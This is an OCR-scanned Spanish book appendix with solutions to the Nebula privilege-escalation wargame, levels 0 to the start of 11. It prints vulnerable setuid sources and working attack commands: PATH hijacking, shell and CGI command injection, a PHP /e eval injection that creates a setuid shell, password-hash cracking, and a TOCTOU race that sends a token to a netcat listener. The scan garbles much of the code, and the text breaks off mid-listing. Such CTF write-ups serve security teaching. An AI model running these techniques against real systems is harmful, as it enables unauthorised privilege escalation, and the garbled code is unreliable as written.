Todas  las  pruebas  pueden  ser  realizadas  de  forma  local.  Los  tenms  tratados  seran  los  siguientes: 
Binarios  SUID 
Fermi  sos 

-  Condiciones  de  carrera 

-  V ariab  les  gl  obal e  s  de  she  1 1 

Debilidades  con  la  variable  de  entomo  $path 

-  Debilidades  y  malas  conductas  de  programacion  en  lenguajes  interpretados 
Errores  en  archivos  binarios 
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El  objetivo  principal  de  los  retos  consiste  en  elevar  los  privilegios  det  usuario  atacante  a  I  os  del 
prop  i  e  tar  io  de  cada  binario  vulnerable.  En  dicho  caso  podra  ej  ecu  tar  una  aplicacion  llamada  get  flag 
que  confirmara  el  logro.  A  continuacion  presentamos  las  soluciones  mas  o  menos  elegantes  que  hemos 
encontrado  para  cada  una  de  las  pruebas  propuestas,  Varios  caminos  pueden  ser  elegidos  para  la 
explotacion  de  los  retos?  en  la  medida  de  lo  posible  escogeremos  aquellos  que  presenten  menus 
dificultades  o  que  por  su  obviedad  sean  mas  directos  y  eomprensibles  para  el  publico. 


NIVEL  0 


Este  nivel  rcquiere  que  usted  encuentre  un  binario  SETUID  que  se  ejecutara  como  el  usuario  fiagOQ, 
Puede  buscar  detenidamente  desde  el  directorio  ralz  /.  En  otro  caso  eche  un  vistazo  a  la  pagina  man 
del  comando  find. 


Solution 

Debemos  encontrar  archives  pertenecientes  al  usuario  fiagoo  que  tengan  el  bit  setuid  activado,  para 
el  lo  utilizamos  el  comando  find  y  nos  cuidamos  de  que  los  errores  (stderr)  por  listar  directories  con 
permisos  denegados  vayan  a  /dev/nuii  y  no  se  impriman  en  pantalla, 

levelOO@nebula;*'$  find  /  -user  flagOO  -perm  +4000  2>/dev/null 

/bin/ . . . /fiagOQ 

/rof s/bin/ . . , If  lag 00 

level  0Q@nebula  :  -$  /bin/  .  .  .  /fiagOO 

Congrats t  now  run  getflag  to  get  your  flag! 

flag00@nebula: getflag 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  1 

Existe  una  vulnerabilidad  en  el  siguiente  programa  que  permite  la  ejecucion  de  otras  aplicac  tones  de 
forma  arbitraria.  ^Puede  encontrarla? _ _ _ _ 


C6diffo  Fuente _ _ _ _ 

01  #include  <stdlib.h> 

02  finclude  <unistd.h> 

03  #include  <string.h> 

04  # include  <sys /types . h> 

05  # include  <stdio,b> 

06 

07  int  main (int  arge,  char  **argv,  char  **envp) 

OS  { 

09  gid  t  gid; 

10  uid_t  uid; 

11  gid  -  getegidf); 

12  uid  -  geteuid(); 

13 

14  setresgid ( gid,  gid,  gid); 

15  setresuid (uid,  uid,  uid); 

16 

17  system  ( Tl /usr/bin/env  echo  and  now  what?* 11); 
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Solution 

Nos  encontramos  ante  un  grave  error  de  seguridad  en  un  pro  grama  setuid.  Se  ie  esta  proporcionando 
a  la  Hamad  a  system  ()  el  nombre  de  un  ejecutable,  echo,  sin  su  mta  completa.  Dado  que  system  o 
busca  dicha  apiicacion  en  los  directories  presentes  en  la  variable  de  entomo  path,  nada  nos  impide 
situar  ahi  un  directorio  de  nuestra  election  en  el  cual  tengamos  un  fichero  de  nombre  echo  que  en 
re  alt  dad  sea  un  enlace  al  binario  get  flag  que  nos  propore  i  one  la  bander  a  para  superar  el  re  to. 

level  GIG  nebula4. /home/f lagQl$  In  -s  /bin/getflag  /tmp/echo 
levelOl@nebula : /home/f lagGl$  export  PATH=/ tmp : $PATH 
levelOlQnebula :  /home/f lag0l$  .  /fl.agOl 

You  have  successfully  executed  getflag  on  a  target  account 


La  funcion  envoltorio  system ()  oculta  los  detalles  del  conjunto  fork  ( )  y  exeeve  { ) ,  pero  es  peligrosa 
en  un  entomo  seguro  puesto  que  limita  el  control  sobre  la  busqueda  del  binario,  el  establecimiento  de 
las  variables  de  entorno  y  porque  llama  al  binario  a  Iraves  de  la  shell  de  comandos. 

Por  olro  lado,  la  variable  path  siempre  deberia  ser  asignada  por  el  propio  programa  a  un  valor  seguro. 
La  constante  path  stdpath,  definida  en  el  archive  de  cabecera  paths, h,  proporciona  un  resultado 
adeeuado  y  es  el  que  la  shell  utiliza  habitual  me  nte  para  inicializar  la  variable  de  entomo. 


NIVEL  2 

Existe  una  vulnerabilidad  en  el  siguiente  programa  que  permite  la  ejecucion  de  otras  aplicaciones  de 
forma  arbitraria.  ^Puede  encontrarlo? 


Codigo  Fu  ente _  _ _ 

01  #include  <stdlib,h> 

02  #include  cunistd , h> 

03  #include  <string.h> 

04  ^include  <sys/types . h> 

05  ^include  <stdio.h> 

06 

07  int  mainfint  arge,  char  **argv,  char  **envp) 

08  { 

09  char  ^buffer; 

10 

11  gid_t  gid; 

12  uid_t  uid; 

13 

14  gid  =  getegid(); 

15  uid  =  geteuidO; 

16 

17  setresgid (gid,  gid,  gid); 

18  setresuid (uid,  uid,  uid); 

19 

20  buffer  =  HULL; 

21 

22  asprintf ( &buf f er,  " /bin/echo  %s  is  cool”,  getenv ("USER") ) ; 

23  print  f  (  "about  to  call  system  (V'%s\”  ) \n,Tr  buffer); 

24 

25 

26  } 


system (buffer) ; 
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Solution 

El  contenido  de  una  variable  de  entomo  user  es  situada  en  medio  de  un  buffer  sin  previo  filtrado,  que 
sera  el  argument©  subsiguiente  de  la  llamada  system  0 .  Sabiendo  que  en  la  shell  po demos  encadenar 
eomandos  mediante el  earacter  V,  no  hay  mueho  mas  que  pensar.  Obviaremos  el  rest©  de  argumentos 
mediante  L#5. 

level 02 @ nebula :  /home/ flagO 2 $  export  USER=" ;  getf lag;  #n 
level02@nebula: /home/f 1 ag02$  . /flagQ2 

about  to  call  system (" /bin/echo  ; getflag;#  is  cool") 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  3 

Compruebe  el  directorio  home  de  fiag03  y  observe  sus  archivos.  Hay  un  fichero  or  on  tab  que  Se 
ejecuta  cada  par  de  minutos. _ _ _ _ _ 


Solution 

Listamos  los  fieheros  del  directorio  /home/fiag:0'3  mediante  is  -ai  y  encontramos: 

writable. d  (directorio) 
writable. ah  (script) 

Veamos  su  contenido: 

level03@nebula: /home/f lagO 3$  cat  writable .sb 
#  1  /bin/sh 

for  i  in  /home/f lag03/wri table . d/*  ;  do 
(u Limit  -t  5;  bash  -x  Tl $i,T) 
rm  -f  Tl $iTI 

done 


For  lo  que  observamos  que  todo  programa  que  se  encuentre  en  writable. d/  sera  ejecutado  cada  dos 
minutos  y  borrado  a  conti nuac ion.  Creamos  entonces  un  script  que  ejecute  /bi n /getflag  y  vuelque 
el  resultado  en  el  directorio  /tmp: 
levelQ3@nebula : /home/f iagQ3$  perl  -e  'print 

”# ] /bin/bash\n/bin /getf lag>/ tmp/level03f lag” T  >  writable . d/executethi s 

Esperamos  un  par  de  minutos  y  obtenemos  nuestro  premio: 

level03fnebul a; /home/f lag03$  Is  -al  /tmp/leve!03f lag 
-rw-rw-r—  1  flag03  flag03  59  2013-05-21  14:30  /tmp/level03f lag 
level 0 3 @ nebula : /home/f lag 03$  cat  /tmp/ level03f lag 
You  have  successfully  executed  getflag  on  a  target  account. 


NIVEL  4 

Este  nivel  requiere  que  usted  lea  el  archive  token,  pero  et  codigo  restringe  el  acceso  a  los  fieheros  que 
pueden  ser  lei  dos.  Encuentre  una  manera  de  sortearlo.  _ _ 


Codigo  Fuente  _ 

01  tinclude  <st-dlib.h> 
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02  #inelude  <urnstd.h> 

03  tinclude  <string . h> 

04  #include  <s  ys/ types . h> 

05  #include  <stdio.h> 

06  #include  <fcntl.h> 

07 

08  int  main |int  argc,  char  **argv,  char  **envp) 

09  ( 

10  char  buf  [1024] 

11  int  fd,  rc; 

12 

13  if (argc  ==  1}  { 

14  printfC'%s  [file  to  read] Vn" ,  argv[0]); 

15  exit (EXIT_FAILURE) ; 

16  } 

17 

18  if (strstr (argv [1] ,  "token")  ! =  NULL)  { 

19  printf("You  may  hot  access  T%s'\nM,  argv[l]); 

20  exit (EXIT_FAILURE) ; 

21  } 

22 

23  fd  =  open ( argv [1  ]i  ,  0_RD0NLY) ; 

24  if(fd  ==  -1)  { 

25  err (EXIT_FAILURE,  "Unable  to  open  %s",  argv[l]); 

26  ) 

27 

28  rc  =  readifd,  buff  sizeof (buf ) ) ; 

29 

30  if (rc  —  -I)  { 

31  err (EXIT_FAILURE,  "Unable  to  read  fd  %d" ,  fd)  ; 

32  ) 

33 

34  write (1,  buf,  rc) ; 

35  } 

Solution 

Listamos  el  contenido  del  directorio: 

levelO 4 ^nebula ; /home/ f lag04 $  Is  -a I 


-rwsr-x -  1  flag 04  level04  7428  2011-11-20  21:52  flag04 

-rw - -  1  f lag04  flag04  37  2011-11-20  21:52  token 


Si  lo  solicitamos  directamente  nos  indica  que  no  tencmos  acceso: 

level04 Onebula :  /home/f  lag0  4  5  ,/flagQ4  token 
You  may  not  access  ’token' 


Pero  una  comprobacion  por  nombre  de  fiehero  es  una  pobre  inedida  de  segaridad.  Nada  nos  impide 
enlazar  token  desde  Giro  lado  y  solicitar  el  enlace: 

level 04 Onebula ; /home/ f lagO 4 3  In  -s  /home/flag04 /token  / trap/ dame lo 
level 04 Onebula : /home/f lag0  4§  , /flag04  /tmp/damelo 
06508b5e-8909-4f38-b630-fdbl4Sa848a2 
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Ademas  comprobamos  que  dicho  token  concuerda  con  la  contrasefta  de  la  cuenta  fiag04,  por  lo  que 
podemos  acceder  a  ella  para  ejecutar  get  flag  con  privilegios: 

le velG 4 0 nebula: /home/flag04$  su  flagQ4 
Password : 
sh^4.2$  getflag 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  5 

Comprucbc  el  directorio  fiagos.  Busque  entradas  con  permisos  debiles. 


Solution 

Listamos  el  home  de  f  iag05  y  observamos  un  directorio  interesante: 

level 050 nebula: /home/ flagOS§  Is  -al 

drwxr-xr-x  2  flagOS  flag05  42  2011-11-20  20:13  -backup 


Dentro  del  mismo  enconframos  un  fichero  comprimido: 

-rw-rw-r—  1  flagQS  flagOS  1826  2011-11-20  20:13  backup-1 9072011 , tgz 


Lo  descompri mi mos  mediante  el  comando  tar  -xvzf  en  nuestro  directorio  de  usuario  /home/ leveios 
y  comprobamos  que  dentro  estdn  las  credenciales  del  servicio  SSH: 

authorized  keys 
id^rsa 

id_rsa .pub 


Simplemenle  nos  logueamos  en  SSH: 

levelQ5@nebula : ~$  ssh  f lagQSHlocalhost 

The  authenticity  of  host  Vlocalhost  (127.0.0-1)  ’  can’t  be  established. 
ECD5A  key  fingerprint  is  ea  :  0d:  09  :  Id:  ft :  69:e6  :  le  :  55.:c7  :ec:e9  :  76 :  al :  37  :  f G  . 
Are  you  sure  you  want  to  continue  connecting  (yes/no) ?  yes 

Warning:  Permanently  added  1 localhost1  (ECDSA)  to  the  list  of  known  hosts. 

r  i  n_  n_  _  _n _ 

/  i i  /  _\/  _\/  ////_' i 
/  /i  /  _/  /_/  /  /_//  /  /_/  / 

tj  \J\ _ /  .  A  ,  /  A  ,  / 

exploit-exercises . com/nebula 
For  level  descriptions,  please  see  the  above  URL. 

To  log  in,  use  the  username  of  "levelXX"  and  password  T,levelXX",  where 
XX  is  the  level  number. 

Currently  there  are  20  levels  (00  -  19) . 

Welcome  to  Ubuntu  11.10  (GNU/Linux  3 , 0 . 0-12-generic  i686) 
flag05@nebula; getflag 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  6 

Las  credenciales  de  !a  cuenta  flagoe  provienen  de  un  sistema  Unix  antiguo. 
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Solucion 

^Donde  estan  las  CTedenciales  del  sistema  en  Unix/Linux?  Por  supuesto  en  /etc/passwd,  que  no 
debena  mostrar  los  hashes  cifrados  puesto  que  estos  se  almacenan  en  /etc/ shadow,  pero... 

Ievel06@nebula ; /home/fiag06$  cat  /etc/passwd  grep  f,£lagQ6" 
f iagQ6 ; ueqwOCnSGdsuN: 993:993: : /home/f lag 06 : /bin/sh 


Lo  copiamos  en  nuestro  sistema  y  llamamos  a  John: 

blackngel@bbc  : echo  "lagO  6  :  ueqwQCnSGdsuM :  993  :  9  93  :  : /home/ f  lag06  :  /bi n/ sh 11  > 
f lagO  6pass 

blackngelGbbc : john  — show  flag06pass 
lagO 6 :hello:993:993r : /home/f lagO 6 : /bin/sh 
1  password  hash  cracked,  0  left 


Y  con  el  password  hello  vamos  a  por  la  bandera: 

levelO 6@nebula : /home / f lagO 6$  su  flag06 

Password: 

sh-4,2$  getflag 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  7 

El  usuario  f  iag07  escribio  su  primer  programa  en  Perl  que  permitla  hacer  ping  sobre  un  host  para 
comprobar  si  ^ste  era  alcanzable  desde  el  servidor  web. 


Codigo  Fuente _  _ 

01  # I /usr/bin/per 1 
02 

03  use  CGI  qw{param}; 

04 

05  print  "Content-type:  text/htirdAnXn"; 

06 

07  sub  ping  { 

08  $host  = 

09 

10  print ( "<html><head><title>Ping  resuIts</title></head><body><pre>,t ) ; 

11 

12  Soutput  =  "ping  -c  3  $host  2>&1"; 

13  foreach  Sline  f@output)  (  print  T,$lirieTI ;  } 

14 

15  print  ( "  </prex/bodyX/html>n  )  ; 

16 

17  } 

18 

19  #  check  if  Host  set.  if  not,  display  normal  page,  etc 

20 

21  ping  (param  (  "Host ,T)  )  ; 


Solucidn 

Sabemos  que  existe  un  servidor  web  en  local  con  un  CGI  recibiendo  peti dories  a  traves  de  un 
parametro  Host  que  pasa  directamente  al  coinando  ping  del  sistema. 


2% 
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level07$nebula  :  /home/f lag07$  Is  -al 

-rwxr-xr-x  1  root  root  368  2011-11-120  21:22  index,  cgi 
-rw-r-r—  1  root  root  3719  £011-11-20  21:22  thttpd.conf 


Abrimos  el  archivo  de  configuracion  del  servidor  y  vemos  que  el  puerto  donde  eseucha  es  el  7007. 
Probemos  eon  una  peticion  inocente: 

level07@nsbula : /home/ f lagG7$  nc  localhost.  7007 
GET  /index. cgi?Host=localhost  HTTP/1,0 
HTTP/1.0  200  OK 
Content- type :  text/html 

<htmlxheadXt±tle>Fing  re5ults</title></head><bodyxpre>PING  localhost  (127.0.0.1) 
56(84)  bytes  of  data, 

64  bytes  from  localhost  (127.0,0.1):  icmp_req=l  ttl=M  time=Q,291  ms 

64  bytes  from  localhost  (127.0,0.1):  icmp_req-2  ttl=64  time=Q.41Q  ms 

64  bytes  from  localhost  (127,0,0.1):  icmp_req=3  ttl-64  time-0,000  ms 


Utilizamos  el  protoeolo  HTTP/1.0  para  no  tener  que  especificar  el  host ,  tal  y  como  obliga  la  version 
1.1.  Volviendo  al  problema,  como  siempre  el  pammetro  Host  se  pasa  sin  flltrar  al  sistema  y  por  ende 
podemos  encademir  eomandos  gracias  al  V,  al  tratarse  de  una  peticion  URL  los  codificamos  mediante 

%3b. 

levelG7@nebula : /home/f lag07$  nc  localhost  7007 
GET  /index. ogi ?Host=%3b/bin/getf lag%3b  HTTP/1,0 
HTTP/1.0  200  OK 
Content-type:  text/html 

<htmlxheadxtitle>Ping  results</title></head><bodyxpre>You  have  successfully 
executed  getflag  on  a  target  account 


NIVELS 

Archives  con  permisos  de  leclura  para  todo  el  mundo.  Compruebe  quidn  ha  entrado  y  uselo  para 
loguearse  en  el  sistema  como  fiagos.  _ _ _ 

Solucron 

Veamos  que  hay  en  el  directorio  del  usuario  fiagos: 

level  Q  8  El  nebula •: /home/ f lagO 8 $  Is  -al 

-rw-r-r*-  1  root  root  8302  2011-11-20  21:22  capture. peep 

Tras  hacer  varias  pruebas  con  tepdump  parece  que  estamos  ante  una  capiura  de  una  sesion  o  proceso 
de  login  en  telnet.  Ya  que  Wireshark  nos  ofrece  mas  capacidades,  utilizamos  un  pequeho  truco  para 
volcar  la  captura  en  nuestro  sistema, 

blackngelgbbc: ~$  nc  192,168.1.130  -1  3333  >  capture .pcap _ _ 

levelQ8@nebula : /home/f lag08$  cat  capture. pcap  !  nc  192.163.1.130  3333 

blacMgel  @bbc  :  -$  Is  -al  capture,  pcap 

— rw-rw— r—  1  blackngel  blackngel  8302  may  22  00:47  capture. pcap 
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Una  vez  en  nuestra  linux  box  lo  abrimos  dentro  de  WbiTeshark  y  utilizamos  la  opcion  Ana  lice-* 
>Fc?iiow  tcp  stream  obteniendo; 

Linux  2 . 6 , 38-8-gener ic-pae  ( : : f f f f : 10 . 1 . 1  -  2 )  (pts/10) 

. .wwwbugs  login:  1 . le . ev . ve . el . 1 0 „ 8 

Password:  backdoor 0ORm8 .ate 


Login  incorrect 
wwwbugs  login: 


En  este  punto  debemos  reajustar  el  cerebro  y  las  ideas,  finalmente  intuimos  en  el  dump  hexadecimal 
que  el  valor  0x7f  es  el  de  la  tecla  dc  borrado,  por  lo  que  la  contrasena  final  en  realidad  era: 

backdOGrmate. 

level 08(1  nebula  :  /home/ flagO 8$  su  f  lag-08 

Password: 

sh~4.2$  getflag 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  9 

Se  ha  creado  im  binario  setuid  en  C  a  parti  r  de  un  codigo  FHP  vulnerable. 


Codigo  Fuente _ 

01  <?php 
02 

03  function  spam { $email ) 

04  { 

05  $email  =  preg_replace  {"A  .  /",  "  dot  "  ,  Semail)  ; 

0  6  $email  =  preg_replace  {'7@/,T,  Tl  AT  ",  $email)  ; 

07 

08  return  $ email; 

09  } 

10 

11  function  markup {$ filename,  $use_me) 

12  { 

13  ^contents  =  file_get_con tents ($ filename ) ; 

14 

15  ^contents  =  preg_replace  {"/  C\  [email  f .  *  )  \ ]  )  /e*  11 ,  M spam  ( \n \\2\ "  ) 11 ,  $con.tents)  ; 

16  ^contents  =  pregreplace ( "/ \ [ / " ,  $contentsJ ; 

17  $contents  =  preg_replace  {  " / \ ] /,f  f  f,>",  $contents)  ; 

18 

19  return  $c.on  tents; 

20  1 
21 

22  ^output  —  mar kup { $argv [ 1 ] f  $argv[2]); 

23 

24  print  Soutput; 

25 

26  ?> 
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Aunque  este  reto  puede  damos  algun  que  otro  quebradero  de  cabeza,  puede  resol  verse  ulilizando  tan 
solo  los  manuales  de  referenda  de  PHP  y  sobre  todo  las  paginas  dedicadas  a  expresiones  regulates, 

Lo  primero  que  salta  a  la  vista  si  uno  esta  al  tanto  de  las  vulnerabilidades  mas  corrientes  en  este 
tenguaje  de  programme  ion,  es  el  modificador  VeT  de  la  tunc  ion  preg_repiace  n  .  Sobre  ella  nos 
centraremos; 

pr  eg_repl  ace  (Tl  /  (  \  [email  (.*}\])/eT' ,  "spam ( \ " \\2 \ ,  ^contents]  ; 

Este  modificador  es  igual  de  peligroso  que  la  l  unci  on  evai(),  ejecuta  todo  lo  que  este  en  su  interior 
como  si  fuese  codigo  PHP  y  devuelve  el  resultado.  El  manual  de  referenda  nos  advierte  que: 


Advertenc 


Esta  caracteristica  ha  sido  declarada  OBSOLETA  desde  PHP  5.5.0.  Su  uso  esta  totalmente 
desaconsejado. 


Ademas,  tambien  se  nos  informa  de  que  escapa  ciertos  caracteres  como  las  comil  las  simples,  dobles  y 
las  barras  invert  idas.  Nuestra  in  is  ion  por  lo  tanto  es  crear  un  archivo  de  texto  siguiendo  el  patron, 
[email  input],  donde  input  representa  el  contenido  que  sera  sustituido  por  preg  repiace ()  e 
introducido  en  la  cadena  “spam  ( T1 « )  ” 

De  modo  que  obtendriamos  spam  ("input"),  y  esto  se  evaluaria  para  obtener  un  resultado.  He  aqui 
donde  tenemos  que  descubrir  que  es  ese  “input”  para  lograr  inyectar  codigo  PHP.  Nuevamente,  un 
poco  mas  abajo  el  manual  de  PHP  nos  advierte: 


Precaution 


[HI  uso  de  este  modificador  esta  des aeons ej ado ^  ya  que  puede  introducir  facilmente 
vulnerabilidades  de  seguridad: 

. . .  aqui  va  un  codigo  de  ejemplo  ... 

El  codigo  de  ejemplo  de  arriba  puede  ser  explotado  facilmente  pasando  una  cadena  de  texto 
COmO  <h 1 > [ $ { eval ( $_GET [ php_code ] )  } }</hl> 


Por  lo  que  ya  tenemos  todos  los  elementos  que  necesitamos,  crearemos  en  el  directorio  /home/ level o  9 
un  archivo,  por  ejemplo  test,  con  cl  siguiente  contenido: 

[email  {${ system ($use_me) }} ] 

La  expresion  regular  quedaria  como:  spam  ( ,T  { 3  { system  ( $use_me ) }  ] « ) .  Cuando  este  codigo  se  evalua, 
la  funcion  system  ()  de  PHP  es  llamada  con  el  contenido  del  segundo  argumento  cedido  al  programs 
suid.  No  podemos  inyectar  codigo  directamente  en  system  ()  puesto  que  si  utilizamos  comillas  dobles 
estas  seran  escapadas  y  obtendremos  un  error  de  evaluaeion. 
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Una  vez  que  disponemos  de  este  arma  cn  las  manos,  lo  mas  sencillo  que  se  nos  centre  es  copiar  una 
shell  en  el  director! o  de  fiagG9  y  aetivarle  e!  bit  suid  para  que  luego  la  podamos  usar  con  privileges 
elevados; 

levelQ  9@nebula:  /home/f lagO 9/ f  lagO 9  test  T,cp  /bin/dash  /home/f lagO 9/ ;  chmod  +s 

/home/f  lagO 9 /dash" 

PHP  Notice:  Undefined  variable:  in  /home/f lag09/f lag09 ,  php (15) : regexp  code  on  line  1 
levelQ9@nebula : Is  -al  /home/f lagG9/dash 

-rwsr-sr-x  1  flag09  level09  96188  2013-05-22  08:58  /home/f lag09/dash 
le ve 1 0 9 @ nebula : - $  / home / f lagO 9 / dash 
$  id 

uid=lG10 (levelOS)  gid=l 010 (levelO 9}  euid=99Q (flag09)  gronps-990 { f lagO 9 ) , 1 0 1 0  [levelO 9 ) 
$get£ lag 

You  have  successfully  executed  getflag  on  a  target  account 


NIVEL  10 

HI  ejecutable  setuid  en  /home/f lagio/fiagio  subira  cualquier  archive  dado  siempre  que  cumpla  los 
requisites  de  la  llamada  al  si  sterna  access  () . 


Codigo  Fuente _ _ _ 

0 1  # include  <stdlib . h> 

02  # include  <unistd . h> 

03  #inciude  <sys/types . h> 

04  # include  <stdio.h> 

05  # include  <fcntl.h> 

06  #include  <errno,h> 

07  ^include  <sys /socket . h> 

08  #include  <netinet/in . h> 

09  # include  <string,h> 

10 

11  int  main (int  arge,  char  **argv) 

12  { 

13  char 

14  char  *host; 

15 

16  if  ( arge  <3}  { 

17  printf(fl%s  file  host\n\tsends  file  to  host  if  you  have  access  to  it\nITf 
argv [0] }  ; 

18  exit ( 1 ) ; 

19  } 

20 

21  file  -  argv[l]; 

22  host  -  argv [2] ; 

23 

24  if (access ( argv [ 1 ] ,  R  OK)  — —  0)  { 

25  int  fd; 

26  int  f fd; 

27  int  re; 

28  struct  sockaddr_in  sin; 

29  char  buffer [4096]  ; 

30 

31  printf {"Connecting  to  %s  :  18211  ..  ", 

32 


host)  f  flush  {stdout)  ; 
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33 

34 

35 

36 

37 

38 

39 

40 

41 

42 

43 

44 

45 

46 

47 

48 

49 

50 

51 

52 

53 

54 

55 

56 

57 

58 

59 

60 
61 
62 

63 

64 

65 

66 

67 

68 

69 

70 

71 

72 

73 


fd  -  socket  (AFIMET,  SOCK_STREAM f  0)  ; 

memset (ssin,  0,  sizeof  [struct  sockaddr  in)}? 
sin, sin_f amily  -  AF  INET; 
sin , sin_addr , s_addr  -  inet_addr (host) ; 
sin . sin^port  =  htons (18211) ; 

if  [connect (fdf  (void  *}&sin,  sizeof (struct  sockaddr  in))  ==  -1)  { 

print f ("Unable  to  connect  to  host  %s\n",  host); 
exit (EXIT_FAILURE) ; 

} 

#  define  Hr  THERE  " ,  oO  Qo.\n" 

if (write (fd,  HITHERE,  strlen (HITHERE ) }  “  -1)  { 

printf  ( "Unable  to  write  banner  to  host  %s\n",  host); 
exit (EXiT_FAILURE) ; 

} 

#undef  HITHERE 

printf ("Connected! \nSending  file  .  .  ,T)  ?  f flush  [stdout) 

f fd  =  open (file,  0_RDGNLY) ; 
if  (f  fid  —  -1)  { 

printf ["Damn,  Unable  to  open  file\n"); 
exit (EXIT  FAILURE) ; 


rc  =  readfffd,  buffer,  sizeof (buffer )) ; 
if(rc  “  -1)  { 

print f [ "Unable  to  read  from  filer  %s\n"f  strerror (errno) ) ; 
exit (EXIT_FAILURE) ; 

> 

write  (fd,  buffer,  rc) 
printf ( "wrote  file ! \n" ) ; 

)  else  { 

printf ("You  don't  have  access  to  %s\n",  file) ; 


Solution 

Sin  duda  alguna,  uno  de  ios  retos  mas  instructivos.  El  objetivo  de  la  rnision  es  leer  d  fichero  token 
que  se  encuentra  en  el  directorio  /home/fiagio.  El  programa  eomprueba  si  lenemos  acceso  al  rnisrno, 
y  envia  a  I  host  indicado  al  puerto  18211.  Ponemos  netcat  a  la  escucha  y  lo  intenlamos: 

blackngei@bbc: -$  nc  192.168,1,130  -1  18211  "  “ 

levelled! nebula:  /home/ f laglQ$  ,/flagl0  token  192,168.1.130 
You  don't  have  access  to  token 

Obvio,  pero  tambien  lo  es  la  vulnerabilidad  que  se  nos  presents  Una  condicion  de  carrera  mas 
conocida  pord  nombre  de  I OC  TOU  {  Time  of  Check  —  Time  of  Use).  Desde  que  se  produce  la  llamada 
a  access  ()  hasta  que  se  abre  el  fichero  con  open  ( )  transcurre  un  espacio  de  tiempo  que  podemos 
utilizar  para  modi  Hear  el  archivo  accedido,  Es  decir,  si  ejecutamos  ,  /  fiagio  pidiendole  que  nos  envie 


A  pen  dice  I.  Sohckmario  Nebula  Wargame 


301 


un  fichero  al  que  sf  tenemos  acceso  pasara  el  primer  chequeo,  y  si  antes  de  que  open  { )  se  ejecute 
modificamos  ese  archive  solicitado  para  convert irse  en  un  enlace  a  token,  open  n  no  eomprobara 
nuevamente  los  perm  isos  y  nos  enviara  el  archivo  magico. 

El  espacio  de  tiempo  del  que  disponemos  es  de  apenas  unas  milesimas  de  segundo,  pero  lo  suliciente 
como  para  que  un  script  ere  ado  por  nosotros  complete  la  mision.  Primero  ponemos  nuevamente  net  cat 
a  la  cscucha  dentro  de  un  bucie  infinito  ya  que  real  i  zaremas  varias  peticiones: 

folackngelQbbc : while  true;  do  nc  192.168.1.130  -1  18211;  done 


Mostramos  aqui  el  script  con  el  nornbre  dameio.sh.  Lo  situamos  en  /home/ level  10  y  le  damos 
permi  sos  de  ej  ecu  cion  con  chmod  +x  damelo.sh. 

4 ! /bin /bash 

rm  /tmp/f ichero_con_acceso 
touch  /tmp/f ichero_con_acceso 

/home/f laglQ/f laglQ  /tmp/f ichero_con_acceso  192.168,1,130  & 
for  1  in  { 1 .  . 1 0 0 } 
do 

set  $1=1 
done 

In  -sf  /home/ flaglO /token  /tmp/f ichero con acceso 


Como  se  puede  ver,  ejecutamos  un  pequeho  bucie  justo  despues  de  llamar  a  ,/fiagio  en  segundo 
piano  y  antes  de  enlazar  fichero  con  accesc  al  fichero  token.  Lo  hacemos  de  esta  forma  porque 
sleep  n  solo  nos  permite  crear  pausas  en  segundos,  y  un  bucie  semi-vaefo  nos  ofrece  mayor  control 
sobre  el  tiempo.  Puede  que  en  alguna  situacion  ftincione  eliminando  dieho  bucie.  Recuerde  que  in  - 
sf  debe  ser  llamado  justo  despues  de  que  la  funcion  access  o  haga  la  comprobacicm  de  los  permisos 
pero  justo  antes  de  que  open  o  abra  el  fichero. 

Tras  algunos  mien  los... 

levellOfeebula : ./damelo.sh 

Connecting  to  192.168.1.130:18211  ..  level  10 Snebula  :  **$  Connected! 

Sending  file  ..  wrote  file! 


En  nuestra  terminal  obtenemos: 

b 1 a c knge 1 @bb c t while  true;  do  nc  192.168,1.130  -1  18211;  done 


. oO  Oo . 

615a2cel-b2b5-4c76-8eed-8aaSc4015c27 


Y  a  por  la  bandera: 

levellQ@nebula: su  flaglO 

Password: 

sh-4.2$  get flag 

You  have  successfully  executed  getflag  on  a  target  account. 


Por  norma  general  nunca  es  buena  idea  realizar  comprobaciones  sobre  un  nornbre  de  archivo.  Trate  de 
utilizer  descriptores  de  fichero  siempre  que  la  situacion  se  lo  permita.  Por  poner  un  ejemplo,  resulta 
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mas  segura  llamar  a  fstat  o  que  a  stat  { )  ya  que  la  primera  puede  evitar  complejas  eondiciones  de 
carrera. 


NIVEL  1 1 


El  binario  /home/f  lagii/f  lagii  procesa  la  entrada  estandar  y  ejecuta  un  comando  de  shell,  Existed 
dos  caminos  para  completar  este  nivel _ 


Codigo  Fuente _ _ 

001  # Include  <stdlib . h> 

002  # include  <unlstd,h> 

003  #include  <string,h> 

004  ^include  <sys/types ,h> 

005  tinclude  <fcntl.h> 

006  # include  <stdio,h> 

007  #include  <sys/mman  .h> 

008 

009  /* 

010  *  Return  a  random,  non  predictable  file,  and  return  the  file  descriptor  for  it, 

011  V 

012 

013  int  getrand(char  **path) 

014  { 

015  char  *tmp; 

016  int  pid; 

017  int  fd; 

018 

019  s random (time {NULL) ) ; 

020 

021  tmp  -  getenv  (  "TEMP11 )  ; 

022  pid  -  getpid  O  ; 

023 

024  asprintf  (path,  "ls/%d .  %c%c%c%c%c%cT1 ,  tmp,  pid, 


02  5 

1 AT 

+ 

(random ( ) 

% 

26)  , 

TQI 

+ 

( random ( ) 

% 

10}  , 

02  6 

'  a ' 

f 

( random ( ) 

% 

26)  , 

T  A  1 

+ 

( random  () 

% 

26}  , 

027 

'O' 

+ 

(random ( ) 

% 

10)  , 

'a1 

+ 

( random ( ) 

% 

26}  }  ; 

02  8 

029  fd  =  open (*path,  G_CREAT I 0_RDWR,  0600); 

030  unlink (*path) ; 

031  return  fd; 

032  } 

033 

034  void  process (char  *buffer,  int  length) 

035  ( 

036  unsigned  int  key; 

037  int  i; 

038 

039  key  =  length  &  Oxff; 

040 

041  for(i  =  0;  i  <  length;  ±++)  { 

042  buffer [i]  A=  key; 

043  key  -=  buffer [i] ; 

044 
045 


} 
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046  system (buf fer) ; 

047  } 

048 

049  ^define  CL  "Content-Length :  " 

050 

051  int  main(int  argc,  char  **argv) 

052  { 

053  char  line [25:6]; 

054  char  buf [1024] ; 

055  char  *tnem; 

056  int  length; 

057  int  fd; 

058  char  *path; 

059 

060  if (fgets (line,  sizeof  (line)  ,  stdin}  ==  NULL)  { 

